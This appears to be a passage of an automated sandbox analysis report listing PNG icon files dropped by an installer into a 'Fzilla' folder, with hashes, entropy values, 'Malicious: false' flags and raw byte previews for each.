Preview:	.PNG........IHDR... ... .....szz.....IDATx..[l[g......s.......i...... jG.Q.Pmh.@....x.xA........H........eEj.v...^..]..kB.7..eM.....\h..Z!.4.....X>..?...S.....:....UR.....x.....o.xt.+.R.KJj.<,.'n....>..../.^...U.s.JJ..!...Q...>}.w/.(.{Cr...v%nOL..:b.OM..q....V]&.5H...:}.>.@.4..g...8Ng,.f..<.....HR....{.K3.........\.J8h.Yir.G2.U........w^?u...8JW(....r>...#..`~.]..........M.....G.~...m.........;.. ..P,...j...>B..<..@.r9......L...D...<.M...6..N.y.g.`q9.....F.R../0}....#.........O.vX.U......^.%m.7.#.Hn;......?.B......d1{...4./G+..\|...(%i...ny.x..(.,6+.Py.@;.p0....n...1.0H..d2......`.:....X...$...a..p....@$J[..M.R.PO.k....`...^.......B!?.-..e.:c.....%..:.t(.....^.j.Q....)..Y...q.......0.z.J.B .x@.m"........f .........->..Y..w..iz...2.<.E.O%..x...\..h....[.....Q.]#......../"../.Y..['.1su...f......\..2..+h.$..(..q..oJ...Q.T.K....(.+~..+..f.#{.0.w.b...=\|........$......yq.W<....mz... .{.....z..,./.....u]........l...N....e.@.......'....;....eh....

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	572
Entropy (8bit):	7.4861268211214345
Encrypted:	false
SSDEEP:	12:6v/7iktlApFqfuEuYQ+9uCiZjyvKZuHjUQjCENvm3IPYZbbVp2jVc:QlAIu9L+piZKNlEP4Vc
MD5:	21723D62752E3F327181698FE3B6B33C
SHA1:	A3981258EBD12F99324B0A602C0F4DC0F023920A
SHA-256:	9D0690CB60E94BB6ECA6334356B68B1267384CB1B6A88248AA7B46A54B34C733
SHA-512:	BDA931988329776CC9BEE36D2481C6D9402E30CF3C9B2E37591A0F205A7350993C3BFAEF00D816D3E005960A9F4E84D380E8CE49616EA860CF3F92332D36E61B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..C.A.E;.2..m..x~cl.m.m.6_Vw.\|....I...&M.>:.^.oI..M..=I...xf .a$......8G.$&.m\|.....14B............;....pw.;.p..!.C.K./..].@.)...7#[...#_..../..{.&J..m[.^..8W....-....z._.........ATd0.z\.........F..3.YD$Q.7...K..=..h.>RDk0.m[.V..........~B..=...g....}..)U.6U.....\|....\...Y...&.1.u.}t$d..F.h..^...^....S...V&X+.<q....`@..lf.v.`..........\|...kg,P..B.j.l&S..mg..d=..ix.../..H.z.).f.u..\|.d/U...6...$...y........,..%W.j..g$...h...I.CkN@B....A.NN..^@......R1........F..D..(.I.&.........}.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	734
Entropy (8bit):	7.605469382079802
Encrypted:	false
SSDEEP:	12:6v/7id7abfyGXcatPuZyiwjh4yLNTjo3pxD/xse7pwt42qRjrofXKg6LqqLi4:/a7X9tPucjuaNHQpxtseOmIXKxi4
MD5:	1BA91C1D13A2D292CED42FD957A5D1A5
SHA1:	A40AB6A6981637ACC29913C8259B8AF9AA82E824
SHA-256:	140B9AA9E5729BBBB9E85ECA5494F0A0A31D72DB184B41E140883111B3D3304D
SHA-512:	C518CB268FED63FA43063330E2EB409EB6F16F832EA71348046E2A13D9AC41608BDB4302621592D3339E6E0B64C4FFB88E9C3D271310B21D39E915BC42954553
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.b..F.(.s&5...=.V..A...m...g.m.m.f....mcv....=]N.k..9.l....4......Fc.<..B..V.t.T..A .a..R^B7...&..&/.....CU.. P.h.h.X...`..]Z.....?......\|R.!0n!<.V....\.,..d....w..V...92MO.QL ..J6...We"~..u.....t3..g....}...4./.\../,....xV......k.-.....M.P....T..?...8..GP..\|.ao.......-..../..i..J....c[......^..}s'..?.T.. G.<..\| .)........6..8.1?.#..CC...../....X:._...R....v.=z....P.S.d....&h..Y....!....#...c..^...Y.....s=....s....N\R[.y..r...d.-..t...=yGP<....'.k..0...*.....?.V..@...a.n.D_.&...;6.C.....]."<....@....d.2...0k.....!P....9\......j.~.Z.........U..h.;.,..........t.......F..S.3............k..B [aT.x.:..O/.}.F.f.GT...6..Y2..G)...t...[..s.<N5........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	314
Entropy (8bit):	7.034055541396177
Encrypted:	false
SSDEEP:	6:6v/lhPKqkksBY2FytRnDKE/rAfkX31mp0SPJZo2CRs6dGrTu1edpkv1bp:6v/7ilksBY3L7/Mf3BJSs6aT3Pkd1
MD5:	52AB93798B119CA20478CBE97A6B85C3
SHA1:	F2189C258383B0479D798448F220E6859F556FBC
SHA-256:	4A266A0EAEF8540016907B4728084CB0877B93D593BA5DEA6F514680760E7108
SHA-512:	63AC98211859CFD58A63B7BD158BBF371030914BB386E35738C189313A77E554BF12EDDAFF15A25318DB38D878175FC6FAA4FED23C18108F4F3AAC371CF1F2E5
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...%PD...a.;N...gp'a.w....[..*.H7........O.;....\|...:.F....Wx..`Y..<.....K Nl..^.qcM..r..6../.xi_.....f..O.8p.7..c<Al..[b.ba........)B.X......':(Pkx...s.+.!. ..8.A.z..#1@.qZ.f..._.I..Q.E/z0.....M......O.LAp...\c.......cR..o....>0.i.j.bY![XD.../.O..Q.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\32x32\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	523
Entropy (8bit):	7.428916394720977
Encrypted:	false
SSDEEP:	12:6v/7ijMAGf1CPZ1C7VWgFOadILMckmt+xc:1MAGtCrCZ5Sdkmz
MD5:	F9D1082584D7C2538D40183FE051D34F
SHA1:	588A9B0C1C3C42725EECA039BD07B5FE5058D58B
SHA-256:	6D862EA747EC843AF0CFCAC450A98A503D1A9546CA2579A39A7A6C371A934601
SHA-512:	A893A6F1935EC5409DD12D859E0C263FD189C6F86B6B3E03AC832136E131CAE5C81D4C91218BF624362EBF3024B19E34680E843711BDEE577B393E99A77B1FF2
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx......a...mx.j.m..k.m.m....{.,..<.E7..-.2....ZOT..5y..-.a..a..S....$..5.....~...H...+!C./.!.."I...`(..+......)....4xWU...H.5.`...nC.......;Y..i:g...sz.....a....t..37i......Q.....4. .O..R.y.4.L...).A;k...?...\|.....mC5 sO...S.x$...($.h....Wj....w.E.Q.. 'WQ#T..k@..He......5.`~.].{....[..Q..z....z...L.`..'..?e'M.7}..N...j.r.2.h....XG...$.......=...'.5\.Q;....D...jx....du..}......X.....'..:=.X....q................b.\|Q}.Rc..p........}.&..@....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1686
Entropy (8bit):	7.796427098281232
Encrypted:	false
SSDEEP:	48:zFqJ7KXCUe2+K35h1I+CTmWrRgrKkDJ6w2+nxyqbPsZL:A7oV9371IpTmWtgrKo64wsPGL
MD5:	3FC4CB62A7CE4620823A958251A247FB
SHA1:	1C9D9CD7536AC99BE10A330B01B26F92AFC142C9
SHA-256:	641E3AA18B787F745646A8DCC5D127F1CEAC25B3EDD10175FF195E56F4B01B30
SHA-512:	0FF920CE75AFDF4AC2B6A6ED91DC620A4AC2C73BF0DA3C33255C53CF678E674DC20741582457E97E7E956294904162E62CA674F2E1415815A771BE9A12F5B60C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......]IDATx..S.$I...m......m.e.;.m.m..........V.!..?....UFdFVM..........)......h..........5.h........777$....+u..............DFFJBB.....&.......#ag(....p.n.-.../....i8m6....S.\."yyyRZZ.....TRR".........}j(....%--M222............-.....dff.G.$''G...l.p_S.C..<y"..?...\|F...(.P..O.....e+..`Mu..@.Rjj.Jh+...C......\|...:e(...H....a....(.......p.6@RR....S.X.I.......I..X )%"""$<<.L.0!!!...:..........:IM[F...r..5.u....(...d....TRgeeU9.p....&b4...%j0.>B...$....,==]H../.m.p...)((....Z.0^......._.z...8O...Y:.=W.:I.aw...g..mF..y..I...E...`...Hj.......:t..j.JF..Mb.... .1.:..............@.m.....]....s..#.}........#.M+W...p.....+w.A....".........:.c.0b..5.0R..V..Y3......a.Btt.x{{..@.b...R..l.......j...\...Me.@.B.....pe.)S...7m.$.oW._}.U.~'.X..z.-....d.}...?..(#.........s.+.&f..:u..8W..C.......s..T......_.u..."...S./[.L0..,..#..0F.....8.CL..S.a......$8..W.R.jK..>\|....R......^z......!...t.......i...q....6.`Qb..M... 6%

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	7.814508932156123
Encrypted:	false
SSDEEP:	48:IM7x4pDbx8i9pQpjFcWQ7ZtlX5Rv6hJ03is3:IMCppNgxcWQ7ZXb6e
MD5:	F96F2A63ECBBE7B9D8809F491FFEB21C
SHA1:	EC7A7B871EEB1A6BCB7D7D232FB13806EAE121CD
SHA-256:	6CDBE398FFF7D2F8F10AF52E949018CB778447872F8C0617D4688D9CD6EA3A55
SHA-512:	2422DE3CB1603259A92251B86F16257758FA9C30528E53984D5667757ACE7BCB51891D9FEA563000FCEC3E1F64F43D266C4205C4911F58D68029FAAFEABE6D23
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...p....Sfff^..2.@...effff..0333g_.e..$...f....'e.........+e..Z[[...K...l'......Z'.........!N..`]...6477....n.w..s!.b7..499.`0.......UU.Y~..###.....0E..........p.ovv.........l.........0M..Lf...SSS..........!..3\|R....p..j.. ..@Q..A6......Pw..@..n7...8.u...V%J$.%A.:%^.).u...,..tz......2.../z.]..........Of.`..K.M.,..Zz.....m....>......@..x.g<...&.b.....6H../e....a.@~R.:..D..\^...>.q.....P^^N.J........F..(.@>.qbbb.333...ZZZ.....rA..'.U..y..+.W...pJ&....(.l....X]].gs..m.bum.kkk....m..!...H.=HE....T&.R..r....p.Mabn....X]Y....:.c+@Z..Z...G.....t........].........R.....0P?$a.g....}#..c.I..n.h.8...n4.H@..n..E.!..(..Ng...M..wt.'<...^.gL..J(.-:..{....])....q...C..-.......`.I.SF>....A..T..8......G>.....M+XZ.#.#..UC<.)..[...:..A.#..3.......T.........7..h..K...?..G..i.............J.i^H...q<.s.M..A..b.EU&zg..T...^....guD$...2q.\|./...7......).X....Y...@...) .....8..4....?...S..........M..o..z.4.....g........vv. ...@......r.;.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1602
Entropy (8bit):	7.626727499458733
Encrypted:	false
SSDEEP:	48:yDZKtASONmMv9Kredav6s4KPf7bUCe6yZ:yMGdNrl+ecvzLfRpyZ
MD5:	3D417650A2A0D686240CCB6EBE148985
SHA1:	8056F3481FCC03FD1509ECB327E4EA047EE79D94
SHA-256:	50956043E94D8A0320B7D4838149F10C9ECC920AC7998C645E0CCB25B6726546
SHA-512:	8C5F3B44F4E8DA99E0842E195D7245C5705390A36D4A8F3DC2838AC002A5D4F50B061D57152BBA81319C7703FAC9B45260A76466E6B975B6C3276899DE773610
Malicious:	false
Preview:	.PNG........IHDR...0...0.....`.......PLTE................}2.}2.}2..................................................................1~5.u .q....z.\|.j.,\|0/}3.}2.}2......0~4%y).p....s.u.l.0~4.}2.}2....................}2.....................................................................................}2...................................................ttt.........%%%'''...444...@@@SSSVVV...uuu...XXX.......000......$$$gggIIILLL""".........p.rNNN.s.......,}0.t ...333[[[ddd...RRR...###777...............fff...---.q.aaa~~~JJJ...v.xvvv!!!DDD...-}1...222.........EEE....p./}3......**))).................ccc......r.t.p...... zzz...............+\|/>>>...........AAA.....hhh...............v#...-`....<tRNS..........8`S6..O.zqpt...k[b].Z```b...........k....[e.1.p....IDATx^....Z...m_.6.....[k..k.m./{N5..9y...>.NW.#....l.$....x!..@L.!.E`.).;D=V"d...~=TT..ZW...D ..D%.........kN. ....'.q%...."....+..Q"@.j...L...i....".............T....[=...\|..I.@..m..s..\|0\...F7....F^].

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	557
Entropy (8bit):	7.419592753045054
Encrypted:	false
SSDEEP:	12:6v/7lPD4KOsf+opWFR3EON0U+nv22+7kzg0r632lo76P:4D4KP+opWMOipnu2bzgScwP
MD5:	A97E3E127BDFEABBB86A5958BC9E1943
SHA1:	87D2C1844CEA49487CEA26EE1F4409A4CA3EF859
SHA-256:	11C08E4C4B75EAEE879EC71C1234564B4D3EDA0AC0CA22F5014A8B6F8123A133
SHA-512:	735DDEBD90F8A48785D4A3AAA5CCB6B8ACC599C22E9896D57BE5368F69BE373AA7C9109C0D57EBD3FDE33188E918D65B10591F0602ACB1DB61D20098CEBC253C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....A.F..k.m..m.m;..m,.[.....lM.W..s..f..LXLLLL.j..,B{\|.m..i.oE....i.,..D......Z.K.,.....a.(.......$.....C...(.h...a.(.o5$..I#...o.a....!..U....I;.EL....E6Z....q...:..7.S).t.u.....D...W............N@..Zy.-..Q .^...V:h&..jt!..[k.....`......`..je..:.3.jn...:.^f.\|+M.B.....:+.....Z.h.,..O@P.\|?.5..Q ...a..."i'.P...{\|E.^7.NW....j...Z.}.S.4-....4{.;.r.G.....!.S+."pY}...<...0.j....vt..&..U....B F..?...}._^.N.v$...M..X.NX...}G......t[..O..=..UC...Tw..5Q.3..!O.=D..2..!B.6.1........Q...........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1187
Entropy (8bit):	7.797347205231396
Encrypted:	false
SSDEEP:	24:3CNMTy2pprk7SsTEArGj5+XOPHQLQ4EBlXQeT1PfnZ9LY6ax:3CUy2ppwbTK4AHQLQ4qpnzwx
MD5:	112F068BE3CEE29C386D56D797DE1CCD
SHA1:	C5311863FB8ADCFD5A30B0A4664FD638DD64A3AB
SHA-256:	CADF696C9DE036928DA790FB32910562D7B20AA0AB5E09604566A8AC9270C0B8
SHA-512:	62A23116AF2A0AA8B99E2A7C59D6E0D6945EB1F09AB73A9150CF8EE6F6184232726F6CB1ECC11B530EFFE212F2E02D9A486E381DC508FC739F7D57F838617A2C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......jIDATx.b...`...3.h..0.gm.m.m.m.m.z..&.{.?9.).2.s..L.}...R.....h.y..?,.)..........A.rj..O1.p....Y.U.)...A.sV...d.P..4.{...e....AH..\./.>.nu.5Kh......o..C..!....].Y..M........?.>5:/;......Hx..f...B....f..R.I.Q..../.7.\..F...V....D...[-O.....f.DK=..s.U.h.X. .......@..b!......3.DO.`..W.Ddj..akdT....]v.L.%`..i......t...-T.J...,m..T.o...I]..LB7....Cd..YP...?=.8....j.I.......W..B....X...)...}.. ..4a....!..Xgb.U....g...v.....}...........}.E6..l..O_...ug.1..>.4.>ee......J....sU.=-.........>...bG8;....#!....-AX.......I4l.."S..n......'fH.J./.7.P...L.n.a.....h?.p.C.0.T...^..D./.o......U.....6.....}L...!k...#.........&'....Z..x.P..{TLCG.){..]I$..`O.....7.q...5`."...R.N...9.....L....................$..h?...XA$......r}3...Y...t^v2..dZeIt\x.-Q.\|..U..!6.../^s.L.N.....j.7...%.;..XY.k}/.......Bu.p..9.....i..........._.He.F...........t^u.L.ee.......M....O........<.9....;..{....~9.......t.W.6m...t....R.-.cy....Ss.z.)...H.6

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	7.8184779179574955
Encrypted:	false
SSDEEP:	24:3LEMXmU8zUdydtYKlEFTwK8Ues6lZ7nTox4lWWIdNQRTI5ZM/sJG/zu6/Pv0LBqe:3I018zUd7KlEF8K7eLZLcj5d+RTEjKwT
MD5:	8A31C63B80B52FC5985042D08BECFDC3
SHA1:	9EF26ED80A9CA92CD55F81B9C8BEE3A6512B91AF
SHA-256:	4EBD5826CA37368C3BF9C78D9C9FF58E07B7698CEEC2FC75081B396AC0448246
SHA-512:	F74E1C73440A1547AA5C5D5CE3F0AAF24CB8E2C3969D193235EED66A02E9B474BC0994C36E5F3FA803769A5911EFE730946DEA8AA075C60BF20DAC02A3B599BC
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..YlTU..o.U@h.. e. ..mi.L.i......R,....1..}1...<.5....Q.....%!iT\..kb.>L..JB......]..Br..v.....s.\|w..n...X`....6....Ax...<z.$.$.......G@.)P.. ..S......5..S.U..j...e..;!.1V+..ZU....L"....[..o[8.n..:..S.....m._....ZZ8Y....`.....,.e..ki..F...C+.....\<U..+.....7.C ..NU1~..gYj.....k.J...xh...4..'.:..1.h..;.6.;..Q..9.............R;..D..ni..^..8..sI..-...,=.\|..~.3G......q<Z..T.G...p.%Pt.p.+..s..Tlgc....JU.......Z8,..4.mw...-.+.#\|...s........+/.7....X.@...j.gQ....Whl.N.:....x...Y.......8.?...3.G..Y>n......b'>s....`......<.9....3.-.k.~xp.....b%.z.U>..p.da..&..O..Y5....5...NZ.#{....l.v.L...z.<..@..6..._\v....u...h...O.Z.[..&......S ..B.$N..^s.z.....A...:@0.h..._].X.2.q.....$}a..O5.F..v.?...C...V8......./. ?..~.....I ...$....8.G@..7.. ..c.I.,.I..N....."?.\|h?.Q.q.7.......I[k..V....+.{Ap..a....#.g@....t.....hq.\|ck..2}......../....H`.. fh...Z.~.(-r)i.o.2.........L.9v..lj.l...L.M.....8.r.SnfQb.Y.._b&@[.......

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1974
Entropy (8bit):	7.868475812113634
Encrypted:	false
SSDEEP:	48:UtYJOWU1b2plI7+/kiDnd+rJCwaMnvjL1GzfOvEuhFjwHo:UtYJOWsbqlIUkkwvaUvjIysuvp
MD5:	B3777D3E667C0936EF16516DFBEA708D
SHA1:	5F08EF04D7D644EE9A715E2F73ED7FC0D67305CB
SHA-256:	1300799C239A6AABD16B9F91D48E94FD243C0521E504C3408CBA3502825D3DB6
SHA-512:	7231F0602DE9AA8B4EC5E0D31D7CCB106BCD2E8C401155434A5561E60E137E0A21590560967D41E2A56DBAC06BE741F8323E7612742E2DB0D05454FBA7B30B0C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......}IDATx..{PT.....v.i.c..@P.!,h.%."L.."./(..MaY.X..,..EV$.,6J1..\.......F.;a..:..4..[.V..&i..9..,..E....g...{...n.9..5.y.+8...8....JD>....H0{....{.s.Q.._`..gs)yyeR...c.b....l...-.96Wjooo05..]....5.U.3R]U....j.....Yu...U(.+uwu.{z,.o8..8...b....b.DR.....()C.T.Qn6.%bHe.........S.(%..s./.!.=.....M.....I.5.A.q."..E`d<~.......@.....5<..7o.Y..N.7........L......."x.....9...~cSS3.Eo...(.F.Z....L.aaL.rC..'.V2..`.I.... 1...k.P..)...B..@"............9....6.l._.f..'9.../.B.............._-e8.)D.y .~....(.....nM.$?...R...a~.7.h.......4\|..6`..p..........s..z3\|D.\|.....gxk.R.D.......l...p.B.!.+Q......pE..Z.w4DWg...d.Z...J.T....PRZ.]...!.+.A..A.}8.S..\|..pz..),E...).....\..I.@......c..P1{.f6.......p..........wN....jL...,g...[......pi.....AQW.W.k..Ps...s..X..\..c..]f....cbf..w.!>5.#............0....7....X5..G..E...i......D...}g.......f....If.j.^3.eJd.K.S$..WX.Q..rU.b.J.>O...>..U....JX.x.<.E">9./.d....H.......\|.ig.Q'

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	417
Entropy (8bit):	7.219700562616368
Encrypted:	false
SSDEEP:	12:6v/7XNEzyqG0SvHl1Y0c9lbj2SB3V9nMYZTdvlz:f9SvHlk3nJdV
MD5:	332D58CE0DBDFEDE64274D121764B14F
SHA1:	4B39C02015FEFCFF2AA28DD07C373717CF0BB153
SHA-256:	90B3F995625461A74DA4015252F0217062646F50A79C62E1E90AD0982246E3D1
SHA-512:	0D9B6CACB33C6C36437346C4825AB2B76C27730AA1AF2BF7E27A25968184D94260CDD5AB58F0851E8E68EC0AAC768988F5664AA146F54D53F7E63C8C523E29FB
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......hIDATx...1,....a..u..k....m..f./.V[.6M.V...h...c.,.......c:..r.K.K.8Ns.wwF.&&&&&&&&&&f.\.Q.!..@.&e.......<N.......V..I<C2................6... 8.....D.x-..."@..C.....N...w.z~....E/...`O...q..K....Vd.>..ghg...O...1_.]......j..mL.V2D..o..>6...#n..;<N...c.........../..b.y..M..<.H0.._.aJ?_...!.BU..X...Br.F........z.'=.<........7..A...^.a.X..N.yt..vG.s#.`....5......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.574157688897543
Encrypted:	false
SSDEEP:	12:6v/74u+iZTLCiOLgYA+Ez+ehv6+KlyTlNajbtTDqroCzFVbTFaxp5Q9:xilC1dA+Ezr+yTOjMroCz73FT
MD5:	FE226AE47525667611DC0BF2BC8F84E3
SHA1:	E927B60D9CBFFA64BBCA6220369857FDD3362201
SHA-256:	185102B4FFCDDDF54EF765C99B5C0D8CD6717B953685626263FD7017750E6204
SHA-512:	B3D3CDAD903F64609597633805A5075C3E7FAEEFE1362D95960E83C2459B08A32CD15A20D213B394155D81F451B90070770B0258D27FF09EDA74FDCFE73753FA
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......9IDATx.....\Q...NP[o_m.v.2...m.m....m}...b..gyO.[...<q.1c..3f.D...B4.&.0......m...R.J.$W.....$x.!.....}.....;m.....4....a.%....D..^..F...^..Fz@X'......v.K.=:..)..i....L...V....Or..............u.B.).....*U{.._.dW....[..q.=...-.c(....wD..@..@>..^.^.F..J..2...a..`..`.~..(.....'..+kD...LW.}L....F?......w..1...U&.<. x..........\|H... k..'...C.%.....os...]p..?..Q..7..S..F..H).F&.qs.^$..(!.q..F.....7.....".k...HDh.K..='..F.K.\|.z..9.z"......z.x...=.O.T4B-/7..m.t&./. .l..4..T...[`..5i/..{..p...tp....>.4?.2=#..L..HN.d......... .`....G$...=....H2..x..........K....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	553
Entropy (8bit):	7.469017497439155
Encrypted:	false
SSDEEP:	12:6v/77AYmsxTKWVIRq/KDdH1XLVUkUs8UaagnFh3Y5K2UcSFh0J:qOshiRq/EbLVdUs8UZwh30ZUcSn0J
MD5:	CD61F1D70C3315F0C595624626E30CA1
SHA1:	1C01B45A041E6CD2F12EC421402153129C8AEACD
SHA-256:	3CD8D46168B74069292B4228D030270D3C25556A73BF273F21ED929350A5D100
SHA-512:	06AC117B9C2BCC68F9F1C62E08B71A6BA617F1DC94CCC96BE5C4D270C29E3B85DE8BDB87936E6E55E7E1D50227A837D999A17936BEE16357E50629645449D33E
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1.....IDATx...RSA..qh}.;_.7....,\|....V.g.LB.n..r&. (.d...a4......{..d'.M.?.I.+N.][..r.<6/..g.......Y.....m...f.!.{.mz\0..3zB..'.@.>..M.$=..Z.2aF.\|Ip..t....#~3............(..)7w...$\R9..'..rM..H.>..1..t..Wf....~.7..x.[.#c....J....'l.]..A...r!.Z.....2...=v.... e....i...p.S.}o@Ked.../B..o\|.?`..a.A .......g..rR.gT...a..{fYvM..%k)?).E.$.#. @.b.@.................$Hi..Zf=;H..-...H....],@......R...K.h..pI.......H. s.h.~c#.......).87...L..h.........C.m.2]...!...Gf.<.h.<...Z.......zTf.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	352
Entropy (8bit):	7.014966266922034
Encrypted:	false
SSDEEP:	6:6v/lhPWoA9akJPSP8IDOCnShtff9GuUgJO/aJtIfiNpwd0Nnq8IQcpsftVp:6v/7DqHf9Gb3SJ+f+w6hxcpu
MD5:	12E35E1E47BC40C7CB960D30E2937A88
SHA1:	A4A910E79182B532BE4C2E82FF4A498524F1B82B
SHA-256:	26A07FE2A258F8BD9E85CDEDA32CFD0E9BB97861F19975CEBD3D0DBC3437940E
SHA-512:	EC078B410F36B37C7846AF848C89F8273DE4A996B0B209D342FEEE38026417AD5A0CC64F98F78CD0D351816B45DF207F6453DE2BBA72D6963B943AA8A1A79353
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1....'IDATx.c`...`(....KJ.......c....D.#..y..........cA.......).s..SK._...P.Z..IUv....P....xT.?..........o..(....?.X.@.BC.....T*........E.b....T..P.t..#._.....r..t.lA.x.?..V.u.)_.@...&.......W....q....H.oP.Y.....&ZX Z..^<o............4..h.L.[..b%.-.Z......xUz.....v..gP.2.....`......@....FK.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2043
Entropy (8bit):	7.8740387624639485
Encrypted:	false
SSDEEP:	48:9Q9CigfeUpYag2d3G8u0xOYg2HgwYiHWz0erv5XFku:GAJpzh3G8u0wYgovverv5X3
MD5:	9602D5D19ECE2ED1E978BF83173CFD5E
SHA1:	87BEC90D2D8C4BEA7AEEFD06F63553786B44E742
SHA-256:	6732D8E506F2763B464B7496DE1F63C91355C230751D603A47B0233065056107
SHA-512:	5BBA6405CA1015385A92A119F2EF579F3FC81A33525F31A15C5DA5DC61E6F39ADD793B71EE8A2C9B0B1FC8CF46D92962D5996F3B7F3FBFBC37023A2525F11C24
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Wil\g.MQ..."%.gl..f.<o.v......{6...i....b'.Z@......QKDQ "E.... ..(BJ.B%.....@B....?PH\|8z..F.k.V.1W:....w.=...~.[...5.iMkZ.v{.d2.K.!fWy~.x.....p.x.x.x..J@.....7<{.x..>.$...........e.<...+....@`.xt.{.6...~..!..t..e6..u...#.m._6).....{W.;og.[.?.0..0....C0.W..l. .a......v.\|...+.'..G^^....}[.g0w...{}[+..m0[.......#...T....\|.Q......0.BCpf.o}{+....\|.E...5..S.$s0{. ..u.#..>Q.69.Mb..x.".sz:d......{......v.=....9.z...vu....0%J..&..............&...d^dP7mV...yh....&P..aq..S....$a.O@/M.+.,3.t(....t.;>.Qx.z(. ?....wE.h.O.!Mb.Z...y..x ..37.6i7.b.XL......n3.oe..a.. J#....p...H..........G'..(v....j.LJ.a.....-...vw.t..XX......n.U....9..s>.,..&.......p.?[...P.7,...].K.O..V......A....z...K.+?.....x....B.. 